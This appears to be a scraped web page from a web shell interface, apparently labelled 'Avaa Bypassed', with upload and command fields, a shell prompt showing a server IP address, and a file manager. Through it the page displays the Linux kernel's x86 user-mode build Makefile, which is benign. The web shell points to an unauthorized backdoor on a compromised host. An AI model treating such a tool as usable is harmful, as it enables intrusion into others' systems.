404

[ Avaa Bypassed ]




Upload:

Command:

botdev@18.222.146.86: ~ $
# SPDX-License-Identifier: GPL-2.0
core-y += arch/x86/crypto/

ifeq ($(CONFIG_X86_32),y)
START := 0x8048000

LDFLAGS			+= -m elf_i386
ELF_ARCH		:= i386
ELF_FORMAT 		:= elf32-i386
CHECKFLAGS	+= -D__i386__

KBUILD_CFLAGS		+= $(call cc-option,-m32)
KBUILD_AFLAGS		+= $(call cc-option,-m32)
LINK-y			+= $(call cc-option,-m32)

export LDFLAGS

LDS_EXTRA		:= -Ui386
export LDS_EXTRA

# First of all, tune CFLAGS for the specific CPU. This actually sets cflags-y.
include arch/x86/Makefile_32.cpu

# prevent gcc from keeping the stack 16 byte aligned. Taken from i386.
cflags-y += $(call cc-option,-mpreferred-stack-boundary=2)

# Prevent sprintf in nfsd from being converted to strcpy and resulting in
# an unresolved reference.
cflags-y += -ffreestanding

# Disable unit-at-a-time mode on pre-gcc-4.0 compilers, it makes gcc use
# a lot more stack due to the lack of sharing of stacklots.  Also, gcc
# 4.3.0 needs -funit-at-a-time for extern inline functions.
KBUILD_CFLAGS += $(shell if [ $(cc-version) -lt 0400 ] ; then \
			echo $(call cc-option,-fno-unit-at-a-time); \
			else echo $(call cc-option,-funit-at-a-time); fi ;)

KBUILD_CFLAGS += $(cflags-y)

else

START := 0x60000000

KBUILD_CFLAGS += -fno-builtin -m64 

CHECKFLAGS  += -m64 -D__x86_64__
KBUILD_AFLAGS += -m64
LDFLAGS += -m elf_x86_64
KBUILD_CPPFLAGS += -m64

ELF_ARCH := i386:x86-64
ELF_FORMAT := elf64-x86-64

# Not on all 64-bit distros /lib is a symlink to /lib64. PLD is an example.

LINK-$(CONFIG_LD_SCRIPT_DYN) += -Wl,-rpath,/lib64
LINK-y += -m64

# Do unit-at-a-time unconditionally on x86_64, following the host
KBUILD_CFLAGS += $(call cc-option,-funit-at-a-time)
endif

Filemanager

Name Type Size Permission Actions
boot Folder 0755
crypto Folder 0755
entry Folder 0755
events Folder 0755
hyperv Folder 0755
ia32 Folder 0755
include Folder 0755
kernel Folder 0755
kvm Folder 0755
lib Folder 0755
math-emu Folder 0755
mm Folder 0755
net Folder 0755
oprofile Folder 0755
pci Folder 0755
platform Folder 0755
power Folder 0755
purgatory Folder 0755
ras Folder 0755
realmode Folder 0755
tools Folder 0755
um Folder 0755
video Folder 0755
xen Folder 0755
Kbuild File 405 B 0644
Kconfig File 94.85 KB 0644
Kconfig.cpu File 15.63 KB 0644
Kconfig.debug File 12.69 KB 0644
Makefile File 12.99 KB 0644
Makefile.um File 1.6 KB 0644
Makefile_32.cpu File 2.46 KB 0644